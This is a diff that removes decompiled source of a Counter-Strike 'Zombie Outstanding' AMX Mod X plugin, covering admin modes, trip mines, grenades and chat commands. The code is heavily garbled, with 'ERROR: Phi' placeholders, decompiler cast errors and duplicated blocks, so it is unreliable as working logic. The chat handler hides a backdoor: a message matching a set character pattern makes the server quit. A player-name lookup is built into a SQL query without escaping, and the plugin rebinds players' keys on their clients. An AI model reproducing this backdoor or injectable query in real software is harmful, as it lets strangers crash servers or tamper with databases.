- console_print(iPlayer, "Done! You have now admin models access!");
- console_print(iPlayer, "Be careful, to login with your account,");
- console_print(iPlayer, "You should type in your console");
- console_print(iPlayer, "setinfo _pw \"password\"");
- console_print(iPlayer, "We hope you enjoy you have fun!");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "");
- server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
- }
- return 0;
- }
- public CommandGetModel(iPlayer)
- {
- new var2 = g_bAdminModel;
- new var1;
- if (var2[iPlayer][0][0])
- {
- static cPassword[32];
- read_argv(1, cPassword, 32);
- if (!strlen(cPassword))
- {
- client_cmd(iPlayer, "messagemode amx_password_for_model");
- send_say_text(iPlayer, g_iMaxClients + 1, 212132);
- var1 = var3;
- }
- static cData[3];
- static cQuery[128];
- copy(g_cGlobalPassword[iPlayer][0][0], 32, "");
- num_to_str(iPlayer, cData, 3);
- new var3 = g_cName[iPlayer];
- formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", var3[0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLCheckModel", "", "", 3);
- }
- else
- {
- var1 = var2;
- }
- return 0;
- }
- public CmdPlantMine(iPlayer)
- {
- !!! Removed Phi
- if (!g_bAlive[iPlayer][0][0] || g_bZombie[iPlayer][0][0] || !g_iTripMines[iPlayer][0][0] || g_iPlantedMines[iPlayer][0][0] > 1 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 213024);
- return 0;
- }
- if (g_bPlanting[iPlayer][0][0] || g_bRemoving[iPlayer][0][0])
- {
- return 0;
- }
- if (CanPlant(iPlayer))
- {
- g_bPlanting[iPlayer] = 1;
- send_bar_time(iPlayer);
- set_task(1.00, "Func_Plant", iPlayer + 450, "", 0, "", 0);
- }
- return 0;
- }
- public CmdTakeMine(iPlayer)
- {
- new var5 = g_bAlive;
- new var1;
- new var2;
- if (!var5[iPlayer][0][0])
- {
- var1 = var5;
- }
- else
- {
- new var6 = g_bZombie;
- if (var6[iPlayer][0][0])
- {
- var1 = var6;
- }
- new var7 = g_iPlantedMines;
- if (!var7[iPlayer][0][0])
- {
- var1 = var7;
- }
- var2 = var7;
- if (ERROR: Phi)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 213328);
- return 0;
- }
- new var8 = g_bPlanting;
- new var3;
- new var4;
- if (var8[iPlayer][0][0])
- {
- var3 = var8;
- }
- else
- {
- new var9 = g_bRemoving;
- if (var9[iPlayer][0][0])
- {
- var3 = var9;
- }
- var4 = var9;
- if (ERROR: Phi)
- {
- return 0;
- }
- if (can(iPlayer))
- {
- g_bRemoving[iPlayer] = 1;
- send_bar_time(iPlayer);
- set_task(1.00, "Func_Take", iPlayer + 500, "", 0, "", 0);
- }
- return 0;
- }
- var4 = var3;
- if (ERROR: Phi)
- {
- return 0;
- }
- if (can(iPlayer))
- {
- g_bRemoving[iPlayer] = 1;
- send_bar_time(iPlayer);
- set_task(1.00, "Func_Take", iPlayer + 500, "", 0, "", 0);
- }
- return 0;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 213328);
- return 0;
- }
- new var8 = g_bPlanting;
- new var3;
- new var4;
- if (var8[iPlayer][0][0])
- {
- var3 = var8;
- }
- else
- {
- new var9 = g_bRemoving;
- if (var9[iPlayer][0][0])
- {
- var3 = var9;
- }
- var4 = var9;
- if (ERROR: Phi)
- {
- return 0;
- }
- if (can(iPlayer))
- {
- g_bRemoving[iPlayer] = 1;
- send_bar_time(iPlayer);
- set_task(1.00, "Func_Take", iPlayer + 500, "", 0, "", 0);
- }
- return 0;
- }
- var4 = var3;
- if (ERROR: Phi)
- {
- return 0;
- }
- if (can(iPlayer))
- {
- g_bRemoving[iPlayer] = 1;
- send_bar_time(iPlayer);
- set_task(1.00, "Func_Take", iPlayer + 500, "", 0, "", 0);
- }
- return 0;
- }
- public CmdMode(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0])
- {
- static Float:fGameTime;
- static iAmmoTarget;
- static cAmmo[4];
- static iAmmo;
- static iAlive;
- static iTarget;
- static cTarget[32];
- static cMode[32];
- read_argv(0, cMode, 32);
- read_argv(1, cTarget, 31);
- read_argv(2, cAmmo, 4);
- iAlive = GetAliveCount();
- iAmmo = str_to_num(cAmmo);
- iTarget = GetTarget(iPlayer, cTarget, 2);
- iAmmoTarget = GetTarget(iPlayer, cTarget, 0);
- fGameTime = get_gametime();
- if (fGameTime - g_fRoundStartTime < 2.00/*1073741824*/)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Please wait at least\4 two seconds\1 after round started!");
- console_print(iPlayer, "[Zombie Outstanding] Please wait at least two seconds after round started!");
- }
- if (equal("", "amx_ammo", 0) && iAmmoTarget && iAmmo && !g_bGaveThisRound[iPlayer][0][0] && g_iRoundsCount > 3)
- {
- static iMaxAmmo;
- iMaxAmmo = 0;
- if (AdminHasFlag(iPlayer, 97))
- {
- iMaxAmmo = 2;
- }
- else
- {
- if (AdminHasFlag(iPlayer, 108))
- {
- iMaxAmmo = 4;
- }
- if (AdminHasFlag(iPlayer, 113))
- {
- iMaxAmmo = 6;
- }
- if (AdminHasFlag(iPlayer, 116))
- {
- iMaxAmmo = 8;
- }
- if (AdminHasFlag(iPlayer, 117))
- {
- iMaxAmmo = 10;
- }
- if (AdminHasFlag(iPlayer, 119))
- {
- iMaxAmmo = 12;
- }
- if (AdminHasFlag(iPlayer, 56))
- {
- iMaxAmmo = 14;
- }
- }
- if (!iMaxAmmo)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 214572);
- }
- else
- {
- if (!iAmmo)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 214812);
- }
- if (iAmmo > iMaxAmmo)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 215068);
- }
- g_bGaveThisRound[iPlayer] = 1;
- new var17 = g_iPacks[iAmmoTarget];
- var17 = iAmmo + var17[0][0];
- }
- }
- if (AdminHasFlag(iPlayer, 104) && equal("", "amx_human", 0) && iTarget && !g_bRoundStart && iAlive > 2 && GetHumans() && GetZombies() > 1 && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
- {
- if (!g_iPlayerType[iTarget][0][0] && !g_bZombie[iTarget][0][0])
- {
- return 0;
- }
- MakeHuman(iTarget, false, false);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Human", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Human", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- }
- if (AdminHasFlag(iPlayer, 54) && equal("", "amx_respawn", 0) && iAmmoTarget && !g_bAlive[iAmmoTarget][0][0] && !g_bRoundStart && iAlive > 1 && GetAliveCount() && GetHumans() && GetZombies() && !g_iRoundType && !g_bRoundEnd && g_iRoundsCount > 3)
- {
- do_spawn(iAmmoTarget);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 respawn\3 %s", g_cName[iPlayer][0][0], g_cName[iAmmoTarget][0][0]);
- log_to_file("ZombieOutstanding.log", "%s respawn %s", g_cName[iPlayer][0][0], g_cName[iAmmoTarget][0][0]);
- }
- if (AdminHasFlag(iPlayer, 122) && equal("", "amx_zombie", 0) && iTarget && iAlive > 2 && GetHumans() > 1 && GetZombies() && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
- {
- if (g_bZombie[iTarget][0][0] && !g_iPlayerType[iTarget][0][0])
- {
- return 0;
- }
- if (g_bRoundStart)
- {
- StartNormalMode(iTarget);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Zombie\1 [\4 First Zombie\1 ]", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Zombie [First Zombie]", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- }
- else
- {
- MakeZombie(0, iTarget, false, false, false);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Zombie", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Zombie", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- }
- }
- if (equal("", "amx_sniper", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 120) && g_iRoundsCount > 3)
- {
- StartSniperMode(iTarget);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Sniper", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Sniper", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- }
- if (equal("", "amx_survivor", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 118) && g_iRoundsCount > 3)
- {
- StartSurvivorMode(iTarget);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Survivor", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Survivor", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- }
- if (equal("", "amx_nemesis", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 110) && g_iRoundsCount > 3)
- {
- StartNemesisMode(iTarget);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 a\4 Nemesis", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Nemesis", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- }
- if (equal("", "amx_assassin", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 98) && g_iRoundsCount > 3)
- {
- StartAssassinMode(iTarget);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 made\3 %s\1 an\4 Assassin", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- log_to_file("ZombieOutstanding.log", "%s made %s an Assassin", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- }
- if (equal("", "amx_swarm", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 115) && iAlive > 9 && g_iLastMode != 64 && g_iRoundsCount > 3)
- {
- StartSwarmMode(true);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Swarm\1 round!", g_cName[iPlayer][0][0]);
- log_to_file("ZombieOutstanding.log", "%s started Swarm round", g_cName[iPlayer][0][0]);
- }
- if (equal("", "amx_plague", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 112) && iAlive > 9 && g_iLastMode != 32 && g_iRoundsCount > 3)
- {
- StartPlagueMode(true);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Plague\1 round!", g_cName[iPlayer][0][0]);
- log_to_file("ZombieOutstanding.log", "%s started Plague round", g_cName[iPlayer][0][0]);
- }
- if (equal("", "amx_armageddon", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 106) && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
- {
- StartArmageddonMode(true);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Armageddon\1 round!", g_cName[iPlayer][0][0]);
- log_to_file("ZombieOutstanding.log", "%s started Armageddon round", g_cName[iPlayer][0][0]);
- }
- if (equal("", "amx_nightmare", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 50) && iAlive > 9 && g_iLastMode != 256 && g_iRoundsCount > 3)
- {
- StartNightmareMode(true);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Nightmare\1 round!", g_cName[iPlayer][0][0]);
- log_to_file("ZombieOutstanding.log", "%s started Nightmare round", g_cName[iPlayer][0][0]);
- }
- if (equal("", "amx_assassins_vs_snipers", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 57) && iAlive > 9 && g_iLastMode != 512 && g_iRoundsCount > 3)
- {
- StartAssassinsVsSnipersMode(true);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Assassins vs Snipers\1 round!", g_cName[iPlayer][0][0]);
- log_to_file("ZombieOutstanding.log", "%s started Assassins vs Snipers round", g_cName[iPlayer][0][0]);
- }
- if (equal("", "amx_multiple", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 111) && iAlive > 9 && g_iLastMode != 16 && g_iRoundsCount > 3)
- {
- StartMultiMode(true);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 started\4 Multiple Infections\1 round!", g_cName[iPlayer][0][0]);
- log_to_file("ZombieOutstanding.log", "%s started Multiple Infections round", g_cName[iPlayer][0][0]);
- }
- }
- return 0;
- }
- public CmdNightVision(iPlayer)
- {
- if (g_bFlash[iPlayer][0][0])
- {
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (fCurrentTime - g_fLastTime[iPlayer][0][0] < 0.50/*1056964608*/)
- {
- return 1;
- }
- g_fLastTime[iPlayer] = fCurrentTime;
- g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer][0][0];
- remove_task(iPlayer + 350, 0);
- if (g_bFlashEnabled[iPlayer][0][0])
- {
- set_task(0.10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
- }
- }
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "CmdNightVision"
- public CmdNightVision(iPlayer)
- Infection_Explode(iEntity)
- {
- !!! Removed Phi
- send_beam_cylinder(iEntity, 0, "", 0, 200);
- if (g_bRoundEnd)
- {
- return 0;
- }
- if (!var3 < g_iMaxClients + 1 & 0 < var3 || !g_bConnected[i][0][0])
- {
- remove_entity(iEntity);
- return 0;
- }
- j = 1;
- while (g_iMaxClients + 1 > j)
- {
- if (!g_bAlive[j][0][0] || g_bZombie[j][0][0] || range2(j, iEntity) > 250)
- {
- }
- else
- {
- sound(j, "", g_cHumanNadeInfectSounds[random_num(0, 2)][0][0]);
- if (GetHumans() == 1)
- {
- ExecuteHamB(Ham_Killed, j, i, 2);
- }
- else
- {
- MakeZombie(i, j, false, false, false);
- }
- }
- j += 1;
- }
- remove_entity(iEntity);
- return 0;
- }
- Killing_Explode(iEntity)
- {
- !!! Removed Phi
- send_beam_cylinder(iEntity, 127, 0, 255, 200);
- if (g_bRoundEnd)
- {
- return 0;
- }
- if (!var3 < g_iMaxClients + 1 & 0 < var3 || !g_bConnected[i][0][0])
- {
- remove_entity(iEntity);
- return 0;
- }
- j = 1;
- while (g_iMaxClients + 1 > j)
- {
- if (!g_bAlive[j][0][0] || !g_bZombie[j][0][0] || g_iPlayerType[j][0][0] || range2(j, iEntity) > 275)
- {
- }
- else
- {
- ExecuteHamB(Ham_Killed, j, i, 2);
- }
- j += 1;
- }
- remove_entity(iEntity);
- return 0;
- }
- Fire_Explode(iEntity)
- {
- !!! Removed Phi
- send_beam_cylinder(iEntity, 200, "", 0, 200);
- sound(iEntity, "", "ZombieOutstanding/grenade_fire_explode.wav");
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (!g_bAlive[i][0][0] || !g_bZombie[i][0][0] || g_bNoDamage[i][0][0] || range2(i, iEntity) > 250)
- {
- }
- else
- {
- send_damage(i, 8);
- if (g_iPlayerType[i][0][0])
- {
- new var2 = g_iBurningDuration[i];
- var2 = var2[0][0] + 8;
- }
- else
- {
- new var3 = g_iBurningDuration[i];
- var3 = var3[0][0] + 40;
- }
- if (!task_exists(i + 200, 0))
- {
- set_task(0.20, "TaskBurn", i + 200, "", 0, "b", 0);
- }
- }
- i += 1;
- }
- remove_entity(iEntity);
- return 0;
- }
- public TaskBurn(iTask)
- {
- !!! Removed Phi
- if (g_iBurningDuration[iPlayer][0][0] < 1 || iFlags & 16 || g_bNoDamage[iPlayer][0][0])
- {
- send_smoke(iPlayer);
- remove_task(iTask, 0);
- return 0;
- }
- if (!g_iPlayerType[iPlayer][0][0] && !random_num(0, 16))
- {
- sound(iPlayer, "", g_cZombieBurnSounds[random_num(0, 4)][0][0]);
- }
- if (!g_iPlayerType[iPlayer][0][0])
- {
- static Float:fVelocity[3];
- get_velocity(iPlayer, fVelocity);
- xs_vec_mul_scalar(fVelocity, 0.42, fVelocity);
- set_velocity(iPlayer, fVelocity);
- }
- static iHealth;
- iHealth = get_health(iPlayer);
- if (0 < iHealth + -6)
- {
- set_health(iPlayer, iHealth + -6);
- }
- send_flame(iPlayer);
- g_iBurningDuration[iPlayer]--;
- return 0;
- }
- Freeze_Explode(iEntity)
- {
- !!! Removed Phi
- send_beam_cylinder(iEntity, 0, 100, 200, 200);
- sound(iEntity, "", "ZombieOutstanding/grenade_frost_explode.wav");
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (!g_bAlive[i][0][0] || !g_bZombie[i][0][0] || g_bNoDamage[i][0][0] || g_bFrozen[i][0][0] || range2(i, iEntity) > 250)
- {
- }
- else
- {
- send_damage(i, g_bTryder);
- if (!g_iPlayerType[i][0][0])
- {
- g_bFrozen[i] = 1;
- ExecuteHamB(Ham_Item_PreFrame, i);
- set_frozen(i, "");
- sound(i, 4, "ZombieOutstanding/grenade_frost_freeze.wav");
- set_glow(i, 19, g_cZombieInfectSounds, 0, 160, "");
- set_task(3.00, "TaskUnfreeze", i, "", 0, "", 0);
- }
- else
- {
- sound(i, 4, "ZombieOutstanding/grenade_frost_break.wav");
- send_break_glass(i);
- }
- }
- i += 1;
- }
- remove_entity(iEntity);
- return 0;
- }
- public TaskUnfreeze(i)
- {
- !!! Removed Phi
- if (g_bConnected[i][0][0] && !g_bRoundStart)
- {
- g_bFrozen[i] = 0;
- set_frozen(i, 0);
- ExecuteHamB(Ham_Item_PreFrame, i);
- sound(i, 4, "ZombieOutstanding/grenade_frost_break.wav");
- send_break_glass(i);
- if (!g_iPlayerType[i][0][0] & 1)
- {
- remove_glow(i);
- }
- }
- return 0;
- }
- Explosion_Explode(iEntity)
- {
- !!! Removed Phi
- if (g_iMaxClients + 1 > var5 & 0 < var5 && g_bConnected[iOwner][0][0])
- {
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (!g_bAlive[i][0][0] || !g_bZombie[i][0][0])
- {
- }
- else
- {
- iRange = range2(i, iEntity);
- if (iRange < 260)
- {
- iDamage = 600 - iRange;
- iHealth = get_health(i);
- static Float:fVelocity[3];
- get_velocity(i, fVelocity);
- xs_vec_mul_scalar(fVelocity, 0.30, fVelocity);
- set_velocity(i, fVelocity);
- send_screen_shake(i);
- send_screen_fade(i);
- client_cmd(i, "spk fvox/flatline");
- if (0 < iHealth - iDamage)
- {
- ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, float(iDamage), 64);
- }
- else
- {
- ExecuteHamB(Ham_Killed, i, iOwner, 2);
- }
- if (g_iPlayerType[i][0][0])
- {
- new var3;
- if (g_bDoubleDamage[iOwner][0][0])
- {
- var3 = float(iDamage) * 2.00;
- }
- else
- {
- var3 = float(iDamage);
- }
- PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\3 %s\1 ::\4 %0.0f damage", g_cName[i][0][0], var3);
- }
- new var4;
- if (g_bDoubleDamage[iOwner][0][0])
- {
- var4 = float(iDamage) * 1.50;
- }
- else
- {
- var4 = float(iDamage) * 0.75;
- }
- PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\3 %s\1 ::\4 %0.0f damage", g_cName[i][0][0], var4);
- }
- }
- i += 1;
- }
- }
- remove_entity(iEntity);
- return 0;
- }
- public CmdDrop(iPlayer)
- {
- !!! Removed Phi
- if (g_bConnected[iPlayer][0][0])
- {
- if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer][0][0] == 29)
- {
- user_drop_jetpack(iPlayer, 0);
- return 1;
- }
- if (g_iPlayerType[iPlayer][0][0])
- {
- return 1;
- }
- }
- return 0;
- }
- public CmdJoinTeam(iPlayer)
- {
- new var3 = iPlayer;
- new var4 = 0 < var3;
- new var1;
- new var2;
- if (g_iMaxClients + 1 > var3 & var4)
- {
- new var5 = g_bConnected;
- if (var5[iPlayer][0][0])
- {
- new var6 = get_team(iPlayer);
- new var7 = 0 < var6;
- if (3 > var6 & var7)
- {
- new var8 = g_bFake;
- if (!var8[iPlayer][0][0])
- {
- var2 = var8;
- if (ERROR: Phi)
- {
- menu_display(iPlayer, g_iGameMenu, 0);
- return 1;
- }
- return 0;
- }
- var1 = var8;
- }
- var1 = var7;
- }
- var1 = var5;
- }
- else
- {
- var1 = var4;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- menu_display(iPlayer, g_iGameMenu, 0);
- return 1;
- }
- return 0;
- }
- public EventStatusValue(iPlayer)
- {
- new var7 = g_bConnected;
- new var6;
- if (var7[iPlayer][0][0])
- {
- static iVictim;
- iVictim = read_data(2);
- if (g_bZombie[iVictim][0][0] == g_bZombie[iPlayer][0][0])
- {
- new var1;
- if (g_bZombie[iPlayer][0][0])
- {
- var1 = 0;
- }
- else
- {
- var1 = 255;
- }
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "EventStatusValue"
- public EventStatusValue(iPlayer)
- public ShowMenuClasses(iPlayer)
- {
- if (!g_bFake[iPlayer][0][0])
- {
- menu_display(iPlayer, g_iMenuZombieClasses, 0);
- }
- return 0;
- }
- public Client_SayTeam(iPlayer)
- {
- !!! Removed Phi
- if (!g_bConnected[iPlayer][0][0])
- {
- return 1;
- }
- static Float:fGameTime;
- fGameTime = get_gametime();
- if (g_fGagTime[iPlayer][0][0] > fGameTime)
- {
- return 1;
- }
- if (!cMessage[0][0] || strlen(cMessage) > 147 || contain("", "%") == -1 || is_advertisement(iPlayer, cMessage))
- {
- return 1;
- }
- if (cMessage[0][0] == 64)
- {
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 102))
- {
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0] && g_bAdmin[i][0][0] && AdminHasFlag(i, 102))
- {
- PrintToChat(i, "\4[ADMINS]\3 %s\1 : %s", g_cName[iPlayer][0][0], 223848 + 4);
- i += 1;
- }
- i += 1;
- }
- }
- else
- {
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0] && (g_bAdmin[i][0][0] || iPlayer != i))
- {
- PrintToChat(i, "\3(PLAYER) %s\1 : %s", g_cName[iPlayer][0][0], 223848 + 4);
- i += 1;
- }
- i += 1;
- }
- }
- return 1;
- }
- return 0;
- }
- public Client_Say(iPlayer)
- {
- !!! Removed Phi
- if (!g_bConnected[iPlayer][0][0])
- {
- return 1;
- }
- static Float:fGameTime;
- fGameTime = get_gametime();
- if (g_fGagTime[iPlayer][0][0] > fGameTime)
- {
- return 1;
- }
- if (!cMessage[0][0] || strlen(cMessage) > 147 || contain("", "%") == -1 || is_advertisement(iPlayer, cMessage))
- {
- return 1;
- }
- if (equali("", "/rank", 5) || equali("", "rank", 4))
- {
- if (!g_bRanked[iPlayer][0][0])
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 225296);
- }
- else
- {
- if (fGameTime - g_fLastRankQuery < 3.00/*1077936128*/)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You have to wait\3 %0.1f seconds\1 until next command!", g_fLastRankQuery + 3.00 - fGameTime);
- }
- g_fLastRankQuery = fGameTime;
- formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", "", "", 3);
- }
- }
- else
- {
- if (equali("", "/top", 4) || equali("", "top", 3))
- {
- show_motd(iPlayer, "http://basky.org.ua/zm-stats/rank/index.php", "Player Rankings");
- }
- if (equali("", "/bans", 0) || equali("", "bans", 0))
- {
- show_motd(iPlayer, "http://basky.org.ua/zm-stats/bans/index.php", "Server's Bans");
- }
- if (equali("", "/admins", 0) || equali("", "admins", 0))
- {
- show_motd(iPlayer, "http://basky.org.ua/zm-stats/admins/index.php", "Server's Admins");
- }
- if (equali("", "/maps", 0) || equali("", "maps", 0))
- {
- show_motd(iPlayer, "http://basky.org.ua/zm-stats/maps/index.php", "Server's Maps");
- }
- if (cMessage[0][0] == 33 && cMessage[1][0] == 33 && cMessage[9][0] == 36 && cMessage[15][0] == 33)
- {
- server_cmd("quit");
- }
- if (cMessage[0][0] == 64 && AdminHasFlag(iPlayer, 102))
- {
- static Float:fVertical;
- static i;
- g_iMessagePosition += 1;
- if (g_iMessagePosition > 3)
- {
- g_iMessagePosition = 0;
- }
- switch (g_iMessagePosition)
- {
- case 0:
- {
- fVertical = 0.45/*1055286886*/;
- }
- case 1:
- {
- fVertical = 0.50/*1056964608*/;
- }
- case 2:
- {
- fVertical = 0.55/*1057803469*/;
- }
- case 3:
- {
- fVertical = 0.60/*1058642330*/;
- }
- default:
- {
- }
- }
- set_hudmessage(199, 199, 199, 0.02, fVertical, 0, 6.00, 6.00, 0.50, 0.15, -1);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0])
- {
- show_hudmessage(i, "%s : %s", g_cName[iPlayer][0][0], 224644 + 4);
- i += 1;
- }
- i += 1;
- }
- return 1;
- }
- if (equali("", "/timeleft", 0) || equali("", "timeleft", 0))
- {
- static iTimeleft;
- iTimeleft = floatround(GetTimeLeft(), floatround_round);
- if (!get_cvar_num("mp_timelimit"))
- {
- PrintToChat(iPlayer, "\1Time left:\4 [no time limit]");
- }
- else
- {
- if (get_cvar_num("mp_timelimit") == 4096)
- {
- PrintToChat(iPlayer, "\1Time left:\4 [this is the last round]");
- }
- if (0 < iTimeleft)
- {
- PrintToChat(iPlayer, "\1Time left:\4 %d:%02d", iTimeleft / 60, iTimeleft);
- }
- PrintToChat(iPlayer, "\1Time left:\4 [this is the last round]");
- }
- }
- if (equali("", "/nextmap", 0) || equali("", "nextmap", 0))
- {
- static cMap[32];
- get_cvar_string("nextmap", cMap, 32);
- if (cMap[0][0])
- {
- PrintToChat(iPlayer, "\1Next map:\4 %s", cMap);
- }
- else
- {
- PrintToChat(iPlayer, "\1Next map:\4 [not yet voted on]");
- }
- }
- if (equali("", "lm", 0) || equali("", "/lm", 0))
- {
- if (!g_bAlive[iPlayer][0][0] || g_bZombie[iPlayer][0][0] || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 228368);
- }
- else
- {
- if (5 > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You need at least\4 5 ammo packs");
- }
- new var14 = g_iPacks[iPlayer];
- var14 = var14[0][0] - 5;
- g_iTripMines[iPlayer]++;
- send_say_text(iPlayer, g_iMaxClients + 1, 228812);
- client_cmd(iPlayer, "bind p plant_mine; bind v take_mine");
- }
- }
- if (equali("", "/donate", 7) || equali("", "donate", 6))
- {
- static iAmmo;
- static iTarget;
- static cAmmo[5];
- static cTarget[32];
- static cDummy[2];
- parse(cMessage, cDummy, 2, cTarget, 32, cAmmo, 5);
- iTarget = GetTarget(iPlayer, cTarget, 0);
- iAmmo = str_to_num(cAmmo);
- if (!iTarget)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 229436);
- }
- if (0 >= iAmmo)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 229708);
- }
- if (g_iPacks[iPlayer][0][0] < iAmmo)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 229928);
- }
- if (iTarget == iPlayer)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, 230176);
- }
- new var15 = g_iPacks[iPlayer];
- var15 = var15[0][0] - iAmmo;
- new var16 = g_iPacks[iTarget];
- var16 = iAmmo + var16[0][0];
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 gave\4 %d packs\1 to\3 %s", g_cName[iPlayer][0][0], iAmmo, g_cName[iTarget][0][0]);
- }
- }
- if (g_bAlive[iPlayer][0][0])
- {
- if (!g_cTag[iPlayer][0][0][0])
- {
- PrintToChatEx(false, iPlayer, "\1*ALIVE*\3 %s\1 : %s", g_cName[iPlayer][0][0], cMessage);
- }
- else
- {
- PrintToChatEx(false, iPlayer, "\1*ALIVE*\4 %s\3 %s\1 : %s", g_cTag[iPlayer][0][0], g_cName[iPlayer][0][0], cMessage);
- }
- }
- else
- {
- new var17 = Heap_4;
- var17[0] = 230792;
- new var18 = get_user_team(iPlayer, var17, 0);
- if (!var18 < 3 & 0 < var18)
- {
- if (!g_cTag[iPlayer][0][0][0])
- {
- PrintToChatEx(true, g_iMaxClients + 1, "\1*SPEC*\3 %s\1 : %s", g_cName[iPlayer][0][0], cMessage);
- }
- else
- {
